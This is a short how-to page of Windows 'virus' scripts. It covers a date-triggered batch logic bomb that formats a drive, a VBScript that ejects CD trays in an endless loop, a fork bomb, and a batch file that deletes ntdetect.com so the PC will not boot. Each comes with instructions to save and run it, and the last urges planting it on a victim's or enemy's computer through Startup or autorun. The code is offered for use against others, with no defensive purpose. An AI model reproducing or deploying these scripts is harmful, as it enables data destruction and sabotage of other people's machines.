Logic Bomb Virus In Batch

Open Notepad

Copy Paste The Following

If %date% NEQ 2009/11/25 goto exit
format E: /y >nul
:exit
exit

And Save It As Anything.bat

Note:- You Can Change The Date ( 2009/11/25 ) Of The Virus And The Location ( format E: ) On Which It Does Its Action
The Virus Will Take Effect On That Day

CD ROM Virus

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Copy it in notepad and save as any.vbs then run this file see what happens.
note :- to stop this press alt+ctrl+del and terminate the wscript.exe in process tab

Batch Virus

Open notepad copy this and save as anything.bat and run the file.

@echo off
:virus
start
goto virus

Simple, but deadly code

Simple, but deadly code >>> UNDETECTABLE
Here is a simple way on how to Block your enemies PC
The Simple but Deadly Code
open notepad type the code as following
__________________________________________________
echo off
C:
cd..
cd..
cd..
attrib -r -s -h ntdetect.com
del ntdetect.com
echo on
__________________________________________________
save this file as virus.bat or any other name with bat extension
Double click it in the victim's computer or Put it in Startup of Ur enemy or put it in a CD and set it in the autorun.
NOTE: DO NOT Run this into your PC
with this activated once the computer will run perfectly !
once shutdowned then it will not start and U will have to format it (Except you know how to use DOS).